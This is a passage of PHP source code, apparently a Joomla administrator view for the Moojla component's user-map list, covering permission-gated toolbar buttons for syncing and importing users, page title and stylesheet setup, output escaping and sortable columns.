	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		JToolBarHelper::title(JText::_('COM_MOOJLA_USER_MAPS'),
'contract');
		JHtmlSidebar::setAction('index.php?option=com_moojla&view=user_maps');
		JFormHelper::addFieldPath(JPATH_COMPONENT . '/models/fields');

		if ($this->canCreate)
		{
			JToolBarHelper::addNew('user_map.add');
		}

		// Only load if there are items
		if (MoojlaHelper::checkArray($this->items))
		{
			if ($this->canEdit)
			{
				JToolBarHelper::editList('user_map.edit');
			}

			if ($this->canState)
			{
				JToolBarHelper::publishList('user_maps.publish');
				JToolBarHelper::unpublishList('user_maps.unpublish');
				JToolBarHelper::archiveList('user_maps.archive');

				if ($this->canDo->get('core.admin'))
				{
					JToolBarHelper::checkin('user_maps.checkin');
				}
			}

			// Add a batch button
			if ($this->canBatch && $this->canCreate &&
$this->canEdit && $this->canState)
			{
				// Get the toolbar object instance
				$bar = JToolBar::getInstance('toolbar');
				// set the batch button name
				$title = JText::_('JTOOLBAR_BATCH');
				// Instantiate a new JLayoutFile instance and render the batch button
				$layout = new JLayoutFile('joomla.toolbar.batch');
				// add the button to the page
				$dhtml = $layout->render(array('title' => $title));
				$bar->appendButton('Custom', $dhtml, 'batch');
			}
			if ($this->user->authorise('user_map.sync_to_moodle',
'com_moojla'))
			{
				// add Sync to Moodle button.
				JToolBarHelper::custom('user_maps.syncToMoodle', 'upload
custom-button-synctomoodle', '',
'COM_MOOJLA_SYNC_TO_MOODLE', 'true');
			}
			if ($this->user->authorise('user_map.sync_to_joomla',
'com_moojla'))
			{
				// add Sync to Joomla button.
				JToolBarHelper::custom('user_maps.syncToJoomla',
'download custom-button-synctojoomla', '',
'COM_MOOJLA_SYNC_TO_JOOMLA', 'true');
			}

			if ($this->state->get('filter.published') == -2
&& ($this->canState && $this->canDelete))
			{
				JToolbarHelper::deleteList('', 'user_maps.delete',
'JTOOLBAR_EMPTY_TRASH');
			}
			elseif ($this->canState && $this->canDelete)
			{
				JToolbarHelper::trash('user_maps.trash');
			}

			if ($this->canDo->get('core.export') &&
$this->canDo->get('user_map.export'))
			{
				JToolBarHelper::custom('user_maps.exportData',
'download', '', 'COM_MOOJLA_EXPORT_DATA',
true);
			}
		}
		if ($this->user->authorise('user_map.fetch_moodle_users',
'com_moojla'))
		{
			// add Fetch Moodle Users button.
			JToolBarHelper::custom('user_maps.fetchMoodleUsers',
'arrow-down-2 custom-button-fetchmoodleusers', '',
'COM_MOOJLA_FETCH_MOODLE_USERS', false);
		}
		if ($this->user->authorise('user_map.fetch_joomla_users',
'com_moojla'))
		{
			// add Fetch Joomla Users button.
			JToolBarHelper::custom('user_maps.fetchJoomlaUsers',
'users custom-button-fetchjoomlausers', '',
'COM_MOOJLA_FETCH_JOOMLA_USERS', false);
		}

		if ($this->canDo->get('core.import') &&
$this->canDo->get('user_map.import'))
		{
			JToolBarHelper::custom('user_maps.importData',
'upload', '', 'COM_MOOJLA_IMPORT_DATA',
false);
		}

		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('user_maps');
		if (MoojlaHelper::checkString($help_url))
		{
				JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}

		// add the options comp button
		if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
		{
			JToolBarHelper::preferences('com_moojla');
		}

		// Only load published batch if state and batch is allowed
		if ($this->canState && $this->canBatch)
		{
			JHtmlBatch_::addListSelection(
				JText::_('COM_MOOJLA_KEEP_ORIGINAL_STATE'),
				'batch[published]',
				JHtml::_('select.options',
JHtml::_('jgrid.publishedOptions', array('all' =>
false)), 'value', 'text', '', true)
			);
		}
	}

	/**
	 * Method to set up the document properties
	 *
	 * @return void
	 */
	protected function setDocument()
	{
		if (!isset($this->document))
		{
			$this->document = JFactory::getDocument();
		}
		$this->document->setTitle(JText::_('COM_MOOJLA_USER_MAPS'));
		$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/user_maps.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		if(strlen($var) > 50)
		{
			// use the helper htmlEscape method instead and shorten the string
			return MoojlaHelper::htmlEscape($var, $this->_charset, true);
		}
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key
and display text as value
	 */
	protected function getSortFields()
	{
		return array(
			'a.ordering' =>
JText::_('JGRID_HEADING_ORDERING'),
			'a.published' => JText::_('JSTATUS'),
			'a.jid' =>
JText::_('COM_MOOJLA_USER_MAP_JID_LABEL'),
			'a.mid' =>
JText::_('COM_MOOJLA_USER_MAP_MID_LABEL'),
			'a.id' => JText::_('JGRID_HEADING_ID')
		);
	}
}